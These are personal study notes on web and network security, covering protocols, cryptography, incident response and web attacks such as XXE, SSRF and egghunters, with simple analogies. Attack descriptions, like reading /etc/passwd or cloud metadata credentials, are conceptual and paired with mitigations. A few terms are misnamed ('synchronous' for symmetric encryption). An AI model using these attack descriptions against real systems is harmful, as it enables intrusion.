Web & Network Security Study Notes

Author: Vaibhav Saini

Table of Contents

1. What is a three-way handshake?

The TCP three-way handshake establishes a connection between client and server. In other words, A three way handshake is how two computers start talking on the internet.

SYN: Client sends SYN packet with random sequence number

SYN-ACK: Server responds with SYN-ACK, acknowledging client's sequence number and sending its own

ACK: Client acknowledges server's sequence number

This ensures both parties are ready to communicate and agree on initial sequence numbers for reliable data transmission.

EXAMPLE :

Step 1. You say hello.

Your computer sends a message that means, I want to talk.

Step 2. The other computer replies.

It says, I heard you and I am ready.

Step 3. You confirm.

You say, great, let us start.

After these three steps, both computers agree the connection is real and ready.

Then they start sending data, like web pages or messages.

This happens in TCP, the main system that moves data on the internet.

2. How do cookies work?

Cookies are small data pieces stored on the client by the server via Set-Cookie HTTP header. The browser automatically sends cookies back to the server with subsequent requests to the same domain. They're used for session management, personalization, and tracking. Security attributes include HttpOnly (prevents JavaScript access), Secure (HTTPS only), and SameSite (CSRF protection).

Example :

Here's how it works with websites:

First Visit (Getting Your "Stamp")

You visit Amazon.com and log in with your username and password

Amazon's computer says "Cool, you're logged in! Here's a special cookie to remember you"

Your browser saves this cookie (a tiny file) on your computer

Coming Back (Showing Your “Stamp”)

You close the tab and come back to Amazon later

Your browser automatically shows Amazon the cookie

Amazon’s computer reads it and says “Oh, it’s you again! You’re still logged in”

That’s why you don’t have to type your password every single time

What’s Actually in a Cookie?

It’s just a small piece of text that might say something like:

“This is user #12345”

“They last visited on January 11”

“They have 3 items in their shopping cart”

Why Websites Use Cookies:

Remember you’re logged in - So you don’t have to re-enter passwords constantly

Shopping carts - Remember what you wanted to buy

Preferences - Like “show me the website in dark mode”

3. How do sessions work?

Sessions maintain state across HTTP requests. The server creates a unique session ID upon user login, stores session data server-side, and sends the session ID to the client (typically via cookie). On subsequent requests, the client sends the session ID, allowing the server to retrieve associated session data. Sessions expire after timeout or logout.

4. Explain how OAuth works.

OAuth 2.0 is an authorization framework allowing third-party applications limited access to user resources without exposing credentials:

User initiates login with third-party app

App redirects to authorization server

User authenticates and grants permissions

Authorization server issues authorization code

App exchanges code for access token

App uses access token to access protected resources

Example :

You want to let Spotify see your Facebook friends

Instead of giving Spotify your Facebook password (like giving away your key)

You tell Facebook: “Let Spotify see my friends list, but nothing else”

Facebook says “okay” and gives Spotify a special permission slip

Spotify can now see your friends, but can’t post as you or change your password

5. Explain how JWT works.

JSON Web Tokens (JWT) are compact, self-contained tokens for secure information transmission. Structure: Header.Payload.Signature

Header: Algorithm and token type

Payload: Claims (user data, expiration)

Signature: HMAC or RSA signature verifying integrity

JWTs are stateless - server doesn’t store session data. The signature ensures tokens haven’t been tampered with. Commonly used for API authentication and single sign-on.

Example :

When you buy a movie ticket, it has:

Your name

The movie name

The showtime

A special hologram that can’t be faked

A JWT (JSON Web Token) is like that ticket. It contains information about you (like your username) and has a special “signature” that proves it’s real and wasn’t changed by someone else. Websites check this signature like a ticket checker checks the hologram.

6. What is a public key infrastructure flow ?

PKI manages digital certificates and public-key encryption:

Certificate Authority (CA)

↓ (issues certificate)

User/Entity

↓ (public key in certificate)

Verification Process:

Entity presents certificate

Verifier checks CA signature

Validates certificate status (CRL/OCSP)

Confirms identity and validity period

Analogical Example :

Like a school ID card with the principal's signature:

You ask the school office for an ID card

They check you're really a student

They make a card with your photo and the principal signs it

Now whenever you need to prove you're a student, you show the card

5. People trust it because the principal signed it

7. Describe the difference between synchronous and asynchronous encryption.

Symmetric (synchronous): Same key for encryption and decryption. Fast, efficient for large data. Examples: AES, DES, 3DES. Challenge: secure key distribution.

Asymmetric (asynchronous): Public-private key pair. Public key encrypts, private key decrypts. Slower but solves key distribution. Examples: RSA, ECC. Used for key exchange and digital signatures.

Hybrid approach: Use asymmetric to exchange symmetric key, then use symmetric for bulk data.

Synchronous (Symmetric) = One key opens the lock: Like a house key - the same key locks AND unlocks the door. Fast and simple, but you need to give everyone their own copy of the key somehow.

Asynchronous (Asymmetric) = Mailbox system: Like a mailbox with a slot on top:

Anyone can DROP mail in (that's the public key - everyone can use it)

Only YOU have the key to OPEN it and read the mail (that's the private key - only you have it)

Slower but solves the problem of "how do I give people the key without someone stealing it?"

8. Describe SSL handshake.

SSL/TLS handshake establishes secure connection:

Client Hello: Supported cipher suites, TLS version

Server Hello: Selected cipher, certificate

Certificate Verification: Client validates server certificate

Key Exchange: Client generates pre-master secret, encrypts with server's public key

Session Keys Generated: Both derive session keys from pre-master secret

Finished Messages: Both send encrypted "finished" messages to verify handshake

Example :

Kid 1: "Let's talk in secret!"

Kid 2: "Okay! Here's my secret handshake pattern"

Kid 1: Checks the pattern is correct

Kid 1: Creates a secret code and whispers it using the handshake pattern

Both kids now use that secret code to talk

9. How does HMAC work?

HMAC (Hash-based Message Authentication Code) provides message integrity and authenticity:

$HMAC(K, m) = H((K' \oplus opad) || H((K' \oplus ipad) || m))$

Where K is secret key, m is message, H is hash function, opad/ipad are padding constants. It combines a secret key with the message before hashing, preventing length extension attacks that plague simple hash(key || message) constructions.

10. Why HMAC is designed in that way?

HMAC's design addresses several security concerns:

Nested hashing: Prevents length extension attacks

Key padding: Ensures key influences entire hash process

Two-pass construction: Inner and outer hash provide additional security

Separation of key and message: Prevents certain cryptanalytic attacks

The double-hashing with XOR padding makes it resistant to attacks even if the underlying hash function has weaknesses.

EXAMPLE :

If you just glued a sticker on an envelope, someone could:

Peel it off

Open the envelope

Put the sticker back

HMAC uses a special double-seal technique that's like:

Putting a sticker on the inside AND outside

Using special glue that changes color if you touch it

Making it impossible to fake or move without breaking

11. What is the difference between authentication vs authorization?

Authentication: Verifying identity ("Who are you?"). Proves user is who they claim to be through credentials, biometrics, or tokens.

Authorization: Determining access rights ("What can you do?"). Defines what authenticated users can access or modify. Happens after authentication.

Simple difference:

Authentication = "WHO are you?"

Like showing your school ID to prove you're a student

Proving your identity

Authorization = "What are you ALLOWED to do?"

Even though you're a student, you can't go in the teachers' lounge

What you have permission to do

Example:

You log into Netflix (authentication - proving who you are)

But you can only watch kids shows, not adult shows (authorization - what you're allowed to access)

12. What's the difference between Diffie-Hellman and RSA?

Diffie-Hellman: Key exchange protocol. Two parties establish shared secret over insecure channel without transmitting the secret itself. Based on discrete logarithm problem. Provides forward secrecy.

RSA: Asymmetric encryption and digital signatures. Uses factoring of large primes. Can encrypt data directly and sign messages. Doesn't provide forward secrecy without

modifications.

Example :

DH is primarily for key agreement; RSA is for encryption and signatures.

Imagine you and your friend want to pick a secret word, but you're texting and your little brother might read your texts:

You say a color

Friend says a color

You both mix the colors in your head using a special formula

You both end up with the same secret color, but your brother can't figure it out!

13. How does Kerberos work?

Kerberos is a network authentication protocol using tickets:

AS Request: Client requests Ticket Granting Ticket (TGT) from Authentication Server

AS Response: Receives TGT encrypted with user's password hash

TGS Request: Client presents TGT to Ticket Granting Server, requests service ticket

TGS Response: Receives service ticket

AP Request: Presents service ticket to application server

Access Granted: Server validates ticket, grants access

Uses symmetric encryption, time-based tickets, and mutual authentication. Default protocol for Active Directory.

Example :

Like getting a special pass for school field day:

You ask the principal's office: "Can I participate in field day?" (Authentication Server)

They check your name on the list and give you a special wristband (Ticket Granting Ticket)

You go to the gym teacher and show your wristband (Ticket Granting Server)

Gym teacher gives you a pass for the bounce house (Service Ticket)

You show the bounce house monitor your pass

They let you in!

The wristband and passes expire after a while, so you have to get new ones each day.

14. If you’re going to compress and encrypt a file, which do you do first and why?

Compress first, then encrypt. Reasons:

Compression finds patterns in data - encryption eliminates patterns

Encrypted data appears random and incompressible

Compressing encrypted data wastes resources and provides no benefit

Some encryption modes actually increase file size slightly

Example :

Compression is like folding clothes to fit more in a suitcase (finds patterns)

Encryption is like putting the suitcase through a shredder and scrambling it up (removes all patterns)

If you shred first, you can’t fold it anymore - it’s just random pieces! So always fold first (compress), THEN shred (encrypt).

15. How do I authenticate you and know you sent the message?

Use digital signatures:

Sender hashes the message

Encrypts hash with their private key (signature)

Sends message + signature

Receiver decrypts signature with sender’s public key

Hashes received message

Compares decrypted signature with computed hash

If they match, message is authentic and unmodified. You need the sender’s verified public key (via PKI/certificates).

Example :

Imagine you have a special signature that’s impossible to fake, and everyone has a book with pictures of real signatures.

You write a message

You sign it with your impossible-to-fake signature (digital signature)

Your friend receives it

They check your signature against the book

If it matches, they know it’s really from you and nobody changed it

In computers, this uses your “private key” (only you have) to sign, and everyone has your “public key” to check if the signature is real.

16. Should you encrypt all data at rest?

Not necessarily all data, but consider: Encrypt when:

PII, financial data, health records

Passwords, API keys, secrets

Regulated data (GDPR, HIPAA, PCI-DSS)

Sensitive business data

May skip when:

Public information

Non-sensitive logs

Performance is critical and data isn’t sensitive

Cost outweighs risk

Balance security needs with performance impact, key management complexity, and compliance requirements.

Not everything, but important stuff:

Think about what’s in your room:

Your diary, birthday money, secret notes = YES, lock these up

Your homework, book reports = Maybe, depends if it’s private

Your toy collection everyone can see = NO, doesn’t need a lock

Same with computer data:

Passwords, credit cards, medical records = YES, encrypt!

Your favorite color, public photos = NO, probably doesn’t need it

17. What is Perfect Forward Secrecy?

Perfect Forward Secrecy (PFS) ensures session keys aren’t compromised even if the server’s private key is later compromised. Implemented using ephemeral key exchange (DHE or ECDHE). Each session uses unique session keys that are never stored. If an attacker records encrypted traffic and later obtains the private key, they still cannot decrypt past sessions. Essential for long-term confidentiality.

Example :

Imagine you and your friend pass secret notes in class using a code. Even if a bully steals your codebook later, they can’t read your old notes because:

You created a different code for each note

You burned each code after using it

Even with the codebook, old notes stay secret

Perfect Forward Secrecy means even if hackers steal a website’s master key later, they can’t read your old conversations because each conversation used a unique temporary key.

Network Level and Logging

What are common ports involving security, what are the risks and mitigations?

Common ports:

20/21 (FTP): Unencrypted; use SFTP/FTPS

22 (SSH): Brute force attacks; use key authentication, fail2ban

23 (Telnet): Unencrypted; replace with SSH

25 (SMTP): Spam relay; require authentication, use port 587

53 (DNS): DNS tunneling, DDoS amplification; use DNSSEC, rate limiting

80 (HTTP): Unencrypted; redirect to HTTPS

443 (HTTPS): Still vulnerable to application attacks; use WAF, proper TLS config

3306 (MySQL): Exposed databases; bind to localhost, use firewall

3389 (RDP): Brute force; use VPN, strong passwords, NLA

8080/8443 (Alt HTTP/HTTPS): Often forgotten in security policies; monitor like standard ports

Example :

Door 22 (SSH) = Back door for employees (secure entrance, but people try to pick the lock)

Door 80 (HTTP) = Main entrance with no security guard (everyone can see in)

Door 443 (HTTPS) = Main entrance with a security guard (encrypted, safer)

Door 3389 (RDP) = Remote control room (hackers love breaking in here)

Door 25 (Email) = Mail room (spammers try to use it)

Which one for DNS?

Port 53 for DNS, using both UDP (queries) and TCP (zone transfers, large responses). UDP for speed, TCP for reliability and larger responses.

Port 53 - like the phone book:

DNS is like calling 411 to get a phone number. Port 53 is the special line just for looking up addresses.

When you type “google.com,” your computer calls port 53 to ask “What’s the address for Google?” and it tells you the number (IP address).

Describe HTTPS and how it is used.

HTTPS is HTTP over TLS/SSL, providing:

Encryption: Data confidentiality in transit

Authentication: Server identity verification via certificates

Integrity: Prevents tampering using MAC

Used for secure web communications, protecting credentials, financial transactions, and sensitive data. Modern best practice for all web traffic, not just sensitive pages.

Example :

HTTPS = Secret tunnel between you and a website:

Regular HTTP is like sending postcards - anyone handling the mail can read it.

HTTPS is like putting your postcard in a locked box, then mailing the box. Only the person with the key can open it and read your postcard.

That’s why you always want the lock icon in your browser, especially when typing passwords or credit card numbers!

What is the difference between HTTPS and SSL?

HTTPS: Protocol (HTTP over TLS/SSL) SSL: Deprecated encryption protocol (SSL 2.0, 3.0 - both insecure)

Modern HTTPS uses TLS (Transport Layer Security), which replaced SSL. People still say “SSL” colloquially but mean TLS. Current versions: TLS 1.2 and TLS 1.3.

Example :

SSL is an old name for the lock, HTTPS is what we call the whole system:

Think of it like this:

SSL = The old style padlock they used to use (now we use newer, better locks called TLS)

HTTPS = The secure mail service that uses those locks

People still say “SSL” even though we now use “TLS” because everyone’s used to saying it. It’s like how people still say “tape” a show even though we don’t use tapes anymore.

How does threat modeling work?

Systematic approach to identify and mitigate threats:

Identify assets: What needs protection?

Identify threats: STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege)

Identify vulnerabilities: Where are weaknesses?

Assess risk: Likelihood × Impact

Define mitigations: Controls and countermeasures

Validate: Test and reassess

Frameworks: STRIDE, PASTA, DREAD, Attack Trees. Should be iterative and ongoing.

Example :

Like planning home security:

What do you want to protect? (Your bike, TV, jewelry)

Who might try to steal it? (Burglars, nosy neighbors)

How could they get in? (Broken window, unlocked door, back yard)

How bad would it be? (Bike = sad, jewelry = very sad)

What can you do? (Locks, alarm, dog, lights)

Check it worked! (Test the alarm)

Companies do this for their computers and data!

What is a subnet and how is it useful in security?

A subnet is a logical subdivision of an IP network. Security benefits:

Network segmentation: Isolate sensitive systems

Blast radius reduction: Contain breaches

Access control: Firewall rules between subnets

Traffic monitoring: Easier to monitor inter-subnet traffic

Compliance: Separate PCI, HIPAA, or other regulated systems

Example: Separate subnets for DMZ, application servers, databases, management.

Like neighborhoods in a city:

Imagine a big city (network) divided into neighborhoods (subnets):

Downtown (web servers)

Residential (employee computers)

Industrial (databases)

Government district (admin systems)

This helps because:

If there's trouble in one neighborhood, it doesn't spread everywhere

Police can watch roads between neighborhoods (firewalls between subnets)

Each neighborhood can have its own rules

What is subnet mask?

A subnet mask determines which portion of an IP address represents the network and which represents hosts. Written in dotted decimal (255.255.255.0) or CIDR notation (/24).

Example: 192.168.1.0/24

Network: 192.168.1

Hosts: 0-255 (usable: 1-254)

Mask: 255.255.255.0

Used for routing decisions and network segmentation.

Example :

Like a zip code that says which neighborhood you're in:

A subnet mask is like a filter that tells you "which part of this address is the neighborhood, and which part is the house number?"

Example:

Full address: "192.168.1.42"

Subnet mask says: "192.168.1 = the neighborhood, 42 = the house"

This helps mail carriers (routers) know whether to deliver locally or send it to another neighborhood.

Explain what traceroute is.

Traceroute maps the path packets take to reach a destination by exploiting TTL (Time To Live). It sends packets with incrementing TTL values:

First packet: TTL=1, expires at first hop (router sends ICMP Time Exceeded)

Second packet: TTL=2, expires at second hop

Continues until destination reached

Shows each hop’s IP address and latency. Useful for diagnosing routing issues and network topology discovery.

Example :

Like tracking your package:

When you order something online, you can track it:

Left warehouse

Arrived at local hub

On delivery truck

At your door

Traceroute does this for internet messages! It shows every “hop” (computer/router) your message passes through to reach a website. If your internet is slow, traceroute shows where the delay is happening.

Explain TCP/IP concepts.

TCP/IP is the protocol suite for internet communications:

IP (Internet Protocol): Addressing and routing packets between networks

TCP (Transmission Control Protocol): Reliable, ordered, error-checked data stream

UDP (User Datagram Protocol): Connectionless, faster, no guarantees

ICMP: Error messages and diagnostics

Four layers: Network Access, Internet, Transport, Application

TCP provides connection-oriented communication with three-way handshake, flow control, and guaranteed delivery.

What is OSI model?

Seven-layer networking model:

Physical: Cables, signals, bits

Data Link: MAC addresses, switches, frames

Network: IP addresses, routing, packets

Transport: TCP/UDP, ports, segments

Session: Connection management

Presentation: Encryption, compression, format

Application: HTTP, FTP, SMTP, applications

Mnemonic: “Please Do Not Throw Sausage Pizza Away”

How does a router differ from a switch?

Router (Layer 3):

Routes between different networks

Uses IP addresses

Makes forwarding decisions based on routing tables

Connects LANs to WANs

Provides NAT, firewall capabilities

Switch (Layer 2):

Connects devices within same network

Uses MAC addresses

Forwards frames based on MAC table

Creates collision domains

Faster for local traffic

Example :

Router = Mail sorting facility (between cities):

Connects different neighborhoods/cities

Reads addresses and decides “this goes to New York, this goes to Chicago”

Connects your home to the internet

Switch = Internal mail room (within one building):

Connects computers in the same office

Faster because it doesn’t have to make big decisions

Like delivering mail between offices in the same building

Explain the difference between TCP and UDP. Which is more secure and why?

TCP:

Connection-oriented (three-way handshake)

Reliable, ordered delivery

Error checking and retransmission

Flow control

Slower, more overhead

UDP:

Connectionless

No delivery guarantees

No ordering

Faster, less overhead

Used for streaming, DNS, VoIP

Security: Neither is inherently “more secure.” TCP’s connection tracking prevents some spoofing attacks. UDP is easier to spoof but isn’t necessarily less secure - security depends on application-layer controls and whether the protocol needs TCP’s features.

EXAMPLE :

TCP vs UDP - Which is more secure?

TCP = Certified mail (with receipt):

“Did you get my letter?”

“Yes! Here’s confirmation!”

Slower but reliable

Used for important stuff (web pages, downloads)

UDP = Regular mail (just send it):

No confirmation

Faster but might get lost

Used when speed matters (video calls, games)

What is the difference between IPSEC Phase 1 and Phase 2?

Phase 1 (IKE SA): Establishes secure, authenticated channel for negotiation

Negotiates encryption/hashing algorithms

Authenticates peers (pre-shared key, certificates)

Establishes IKE Security Association

Modes: Main Mode (6 messages) or Aggressive Mode (3 messages)

Phase 2 (IPsec SA): Negotiates actual IPsec tunnel

Negotiates IPsec parameters (ESP/AH)

Establishes IPsec Security Associations

Defines traffic to protect (interesting traffic)

Quick Mode for negotiation

Phase 1 protects Phase 2 negotiations. Phase 2 protects actual data.

Phase 1 = The secret handshake:

You and your friend create a secret handshake

Decide on the club rules

Make sure you're both really club members

This creates a safe way to talk about club secrets

Phase 2 = The actual secret tunnel:

Now that you trust each other, you build the actual secret tunnel

Decide what messages go through the tunnel

Use the tunnel to pass notes in class

Phase 1 protects Phase 2's setup, and Phase 2 protects your actual data.

What are biggest AWS security vulnerabilities?

Misconfigured S3 buckets: Public access to sensitive data

Overly permissive IAM policies: Excessive permissions, unused credentials

Exposed access keys: Keys in code repositories, public GitHub

Missing encryption: Data at rest/transit not encrypted

Security group misconfigurations: Open ports (0.0.0.0/0)

Lack of MFA: No multi-factor authentication

No logging/monitoring: CloudTrail, GuardDuty disabled

Unpatched instances: Missing security updates

Public snapshots: EBS, RDS snapshots publicly accessible

Shared responsibility gaps: Misunderstanding AWS vs. customer responsibilities

EXAMPLE :

Like leaving things unlocked in your house:

S3 buckets left open = Like leaving your front door unlocked - anyone can walk in and see your stuff

Too many keys given out = Like giving house keys to everyone instead of just family

Keys left in public = Like posting your house key photo on Instagram

No locks on rooms = Not encrypting important files

Open windows everywhere = Security groups allowing everyone in

No alarm system = No monitoring/logging

Old broken locks = Not patching/updating

How do web certificates for HTTPS work?

Web certificates (X.509) validate server identity:

Certificate issuance: CA verifies domain ownership, issues certificate

Certificate contains: Domain name, public key, CA signature, validity period

Client validation: Browser checks CA signature, validity period, revocation status (CRL/OCSP)

Trust chain: Certificate $\rightarrow$ Intermediate CA $\rightarrow$ Root CA (in browser trust store)

Key exchange: Server’s public key used to establish session keys

Certificates prevent MITM attacks by proving server identity.

EXAMPLE :

When you meet someone, how do you know they’re really who they say they are? You ask to see their driver’s license because:

It has their photo

The government verified it’s real

It has a special hologram you can’t fake

It expires so it must be renewed

Web certificates are the same:

Website shows its certificate

Your browser checks if a trusted authority verified it (like the DMV)

Checks it hasn’t expired

Checks it matches the website name

That’s how you know you’re really on Amazon.com and not a fake copy!

What is the purpose of TLS?

TLS (Transport Layer Security) provides:

Confidentiality: Encryption prevents eavesdropping

Integrity: MAC ensures data isn’t modified in transit

Authentication: Certificates verify server (and optionally client) identity

Protects data in transit across insecure networks. Used by HTTPS, email, VPNs, and other protocols.

Example :

Three superpowers for internet messages:

Invisibility cloak (Encryption) = Nobody can read your messages

Wax seal (Integrity) = Nobody can change your messages without you knowing

ID badge (Authentication) = You know who you’re talking to

TLS gives websites these three superpowers to protect your passwords, credit cards, and private messages.

Is ARP UDP or TCP?

Neither. ARP (Address Resolution Protocol) operates at Layer 2 (Data Link), below the transport layer where TCP/UDP exist. ARP resolves IP addresses to MAC addresses within a local network. It sends broadcast requests and receives unicast replies directly over Ethernet frames.

Example :

Neither - it’s like the building’s intercom system:

TCP and UDP are like postal services (Layer 4). ARP is like the intercom in an apartment building (Layer 2).

When you want to talk to apartment 5B, you buzz their intercom - you don’t mail them a letter! ARP is for talking to computers in the same building (local network), not sending letters across town.

Explain what information is added to a packet at each stop of the 7 layer OSI model.

Layer 7 (Application): Application data (HTTP request, email, etc.) Layer 6 (Presentation): Encoding, encryption, compression metadata Layer 5 (Session): Session identifiers, sync points Layer 4 (Transport): Source/destination ports, sequence numbers, checksum (TCP/UDP header) Layer 3 (Network): Source/destination IP addresses, TTL, protocol (IP header) Layer 2 (Data Link): Source/destination MAC addresses, frame check sequence (Ethernet header/trailer) Layer 1 (Physical): Converts to electrical signals, bits on wire

Each layer encapsulates the previous layer’s data.

What is a firewall? How does it work? How does it work in cloud computing?

Firewall: Network security device controlling traffic based on rules.

Operation:

Packet filtering: Examines headers (IP, port, protocol)

Stateful inspection: Tracks connection state

Application layer: Deep packet inspection

Rules: Allow/deny based on source, destination, port, protocol

Cloud firewalls:

Security Groups (AWS): Stateful, instance-level, whitelist-based

Network ACLs: Stateless, subnet-level, numbered rules

WAF: Application layer, protects against OWASP Top 10

Virtual appliances: Traditional firewalls as VMs

Cloud-native: Distributed, scalable, API-configured

Key difference: Cloud firewalls are software-defined, distributed, and managed via APIs/console.

EXAMPLE :

A security guard at the door:

A firewall is like a bouncer at a club:

Checks everyone coming in

Follows a list of rules (”No kids under 21,” “No weapons”)

Can kick people out

Decides who can enter and who can’t

For computers:

Blocks bad websites/hackers

Only lets safe traffic through

Follows rules you set

Protects your computer/network

Difference between IPS and IDS?

IDS (Intrusion Detection System):

Passive monitoring

Alerts on suspicious activity

Doesn’t block traffic

Out-of-band deployment

Lower risk of false positive impact

IPS (Intrusion Prevention System):

Active blocking

Prevents malicious traffic

Inline deployment

Drops/blocks suspicious packets

Risk: False positives block legitimate traffic

IPS is essentially IDS with blocking capability. IPS is deployed inline; IDS monitors a copy of traffic.

EXAMPLE :

IDS (Intrusion Detection System) = Security camera:

Watches what’s happening

Alerts you if something suspicious happens

“Hey! Someone’s trying to break in!”

Doesn’t actually stop them

IPS (Intrusion Prevention System) = Security guard with a taser:

Also watches what’s happening

But STOPS the bad guy immediately

Blocks the attack automatically

Risk: Might accidentally taser a good guy (false positive)

How do you harden a system?

Operating system hardening:

Minimize attack surface: Remove unnecessary services, applications

Patch management: Regular security updates

Strong authentication: Complex passwords, MFA, key-based SSH

Principle of least privilege: Minimal necessary permissions

Firewall configuration: Block unused ports

Disable unnecessary accounts: Remove default accounts

Audit logging: Enable comprehensive logging

Encryption: Full disk encryption, encrypted connections

Security baselines: CIS benchmarks, DISA STIGs

Regular audits: Vulnerability scanning, penetration testing

Endpoint protection: Antivirus, EDR

Network segmentation: Isolate critical systems

How does HTTPS work?

HTTPS = HTTP + TLS/SSL:

Client initiates: Requests HTTPS connection

TLS handshake: (see SSL handshake details earlier)

Negotiate cipher suites

Exchange certificates

Generate session keys

Encrypted communication: All HTTP data encrypted with session keys

Data integrity: HMAC ensures messages aren’t tampered

Connection close: Secure termination

Provides encryption, authentication, and integrity for web communications.

What would you do if you discovered an infected host?

Incident response process:

Contain: Isolate host from network (disconnect or VLAN quarantine)

Identify: Determine malware type, scope of infection

Preserve evidence: Memory dump, disk image for forensics

Eradicate: Remove malware, clean system

Recover: Restore from clean backup or rebuild

Monitor: Watch for reinfection or lateral movement

Document: Timeline, actions taken, lessons learned

Post-incident: Root cause analysis, improve controls

Priority: Prevent spread before detailed investigation.

You got the memory dump of a potentially compromised system, how are you going to approach its analysis?

Memory forensics approach:

Acquire: Use Volatility, Rekall, or similar tools

Identify OS: Determine OS version and profile

Process analysis: List running processes, look for suspicious names, unsigned binaries, unusual parent-child relationships

Network connections: Active connections, listening ports

Code injection: Check for DLL injection, process hollowing

Registry analysis: Persistence mechanisms, startup items

Malware artifacts: Known IOCs, YARA rules

Timeline: Establish sequence of events

Extract: Dump suspicious processes, DLLs for deeper analysis

Correlate: Compare with disk artifacts, logs

Tools: Volatility, Rekall, Memoryze, Redline

How would you detect a DDOS attack?

Detection indicators:

Traffic volume: Sudden spike in requests/bandwidth

Geographic anomalies: Traffic from unusual locations

Performance degradation: High latency, timeouts

Resource exhaustion: CPU, memory, bandwidth maxed

Failed connections: SYN floods, half-open connections

Pattern analysis: Repeated requests, similar user agents

Log analysis: Excessive errors, failed authentication attempts

Tools/Methods:

Network monitoring (NetFlow, sFlow)

Rate limiting triggers

Anomaly detection (baseline vs. current)

CDN/WAF alerts

SIEM correlation

Distinguish from legitimate traffic spikes (product launch, viral content).

How does the kernel know which function to call for the user?

Through system calls (syscalls):

User program invokes syscall (e.g., read, write, open)

Library wrapper prepares syscall number in register

Interrupt triggered (INT 0x80 on x86, or syscall instruction)

CPU switches to kernel mode

Kernel’s syscall handler looks up function in system call table using syscall number

Executes corresponding kernel function

Returns to user mode with result

System call table maps syscall numbers to kernel function pointers. Each syscall has unique number (e.g., Linux: read=0, write=1).

How would you go about reverse-engineering a custom protocol packet?

Reverse engineering approach:

Capture traffic: Wireshark, tcpdump

Identify patterns: Fixed positions, magic bytes, length fields

Analyze structure: Headers, payloads, footers

Compare samples: Multiple captures to identify variable/fixed fields

Hypothesis testing: Modify packets, observe responses

Field identification: Sequence numbers, checksums, timestamps

Encryption detection: High entropy suggests encryption

State machine: Map protocol flow, handshake sequences

Documentation: Create protocol specification

Validation: Implement parser/generator

Tools: Wireshark, scapy, 010 Editor, Canape

OWASP Top 10, Pentesting and/or Web Applications

Differentiate XSS from CSRF.

XSS (Cross-Site Scripting):

Attacker injects malicious script into web page

Script executes in victim’s browser

Steals cookies, session tokens, sensitive data

Types: Reflected, Stored, DOM-based

Mitigation: Input validation, output encoding, CSP

CSRF (Cross-Site Request Forgery):

Tricks authenticated user into performing unwanted actions

Exploits user’s existing authentication

Executes state-changing requests on behalf of victim

Doesn’t steal data, causes unwanted actions

Mitigation: CSRF tokens, SameSite cookies, checking Referer header

Key difference: XSS injects code; CSRF abuses trust.

What do you do if a user brings you a pc that is acting ‘weird’? You suspect malware.

Investigation steps:

Don’t panic user: Gather symptoms calmly

Isolate: Disconnect from network (don’t shutdown yet)

Document: Screenshot errors, note behaviors

Quick checks: Task Manager (unusual processes), browser extensions, startup programs

Safe mode: Reboot to safe mode with networking

Run scans: Anti-malware, rootkit scanners

Check modifications: Hosts file, proxy settings, DNS

Review logs: Event Viewer, browser history

If infected:

Change passwords from clean device

Notify IT/Security team

Reimageconsider reimage vs. cleaning

• 10. Prevention: Update software, security awareness training

What is the difference between tcpdump and FWmonitor?

tcpdump:

Unix/Linux packet capture tool

Command-line interface

Captures at network interface level

BPF filters for precise capture

Outputs to PCAP format

Widely available, standard tool

FWmonitor:

Check Point firewall-specific tool

Captures at multiple inspection points in firewall

Shows packets before/after firewall processing

Useful for debugging firewall rules

Checkpoint proprietary

Can see dropped packets and firewall decisions

FWmonitor is specialized for Check Point debugging; tcpdump is general-purpose packet capture.

Do you know what XXE is?

XXE (XML External Entity):

Vulnerability in XML parsers

Attacker provides XML input with malicious external entity reference

Parser processes external entity, leading to:

File disclosure (reading /etc/passwd)

SSRF (internal network requests)

DoS (billion laughs attack)

• RCE in some cases

Explain man-in-the-middle attacks.

MITM attack: Attacker secretly intercepts and potentially alters communication between two parties who believe they're directly communicating.

Techniques:

ARP spoofing: Attacker associates their MAC with victim's IP

DNS spoofing: Redirect domains to attacker's IP

Evil twin: Rogue WiFi access point

SSL stripping: Downgrade HTTPS to HTTP

Session hijacking: Steal session cookies

Objectives: Eavesdropping, data theft, credential harvesting, malware injection

Prevention: HTTPS with certificate pinning, DNSSEC, VPN, avoid public WiFi, HSTS

What is a Server Side Request Forgery attack?

SSRF: Attacker tricks server into making requests to unintended locations.

Attack scenarios:

Internal network access: Reach internal services not exposed externally

Cloud metadata: Access AWS metadata (169.254.169.254) to steal credentials

Port scanning: Enumerate internal network

File reading: Access local files via file:// protocol

Bypass firewalls: Use server as proxy

Example: Image upload feature that fetches URLs - attacker provides internal URL.

Mitigation:

Whitelist allowed domains/IPs

Block private IP ranges (RFC1918)

Disable unnecessary protocols (file://, gopher://)

Network segmentation

Validate and sanitize URLs

Describe what are egghunters and their use in exploit development.

Egghunter: Small shellcode stub used when direct shellcode injection isn’t possible due to space constraints.

Purpose: Searches memory for larger shellcode payload marked with unique “egg” (signature).

Use cases:

Limited buffer space for exploit

Split payloads across memory

Unreliable payload location

Operation:

Inject small egghunter code

Inject larger shellcode with egg marker elsewhere

Egghunter searches memory for egg signature

Executes found shellcode

Useful in exploits with small overflow buffers but ability to place payload elsewhere in memory.

How is padlock icon in browser generated?

HTTPS indicators:

Certificate validation: Browser verifies server certificate

Signed by trusted CA

Not expired

Matches domain name

Not revoked (CRL/OCSP check)

Encryption established: TLS handshake successful

Secure connection: All resources loaded over HTTPS

Display: Padlock icon shown in address bar

Types:

Standard padlock: DV (Domain Validated) certificate

Company name: EV (Extended Validation) certificate (less common now)

Mixed content (HTTP resources on HTTPS page): Broken padlock or warning

What is Same Origin Policy and CORS?

Same Origin Policy (SOP):

Browser security mechanism

Script from one origin can’t access data from different origin

Origin = protocol + domain + port

Prevents malicious sites from reading sensitive data from other sites

CORS (Cross-Origin Resource Sharing):

Mechanism to relax SOP

Server explicitly allows specific origins to access resources

Uses HTTP headers:

Access-Control-Allow-Origin: Allowed origins

Access-Control-Allow-Methods: Allowed HTTP methods

Access-Control-Allow-Headers: Allowed headers

Preflight requests (OPTIONS) for complex requests

Example: API at api.example.com allowing requests from app.example.com

Databases

How would you secure a Mongo database?

MongoDB security:

Authentication: Enable --auth, use strong passwords

Authorization: Role-based access control (RBAC), principle of least privilege

Encryption: TLS for connections, encryption at rest

Network security: Bind to localhost or private IP, firewall rules

Update: Keep MongoDB current with security patches

Auditing: Enable audit logs

Backup: Regular encrypted backups

Disable: Anonymous access, JavaScript server-side execution if unused

Configuration: Change default port, disable HTTP status interface

Monitoring: Alert on failed auth, unusual queries

Postgres?

PostgreSQL security:

Authentication: Use md5 or scram-sha-256, not trust/password

pg_hba.conf: Configure host-based authentication strictly

Role management: GRANT specific permissions, avoid SUPERUSER

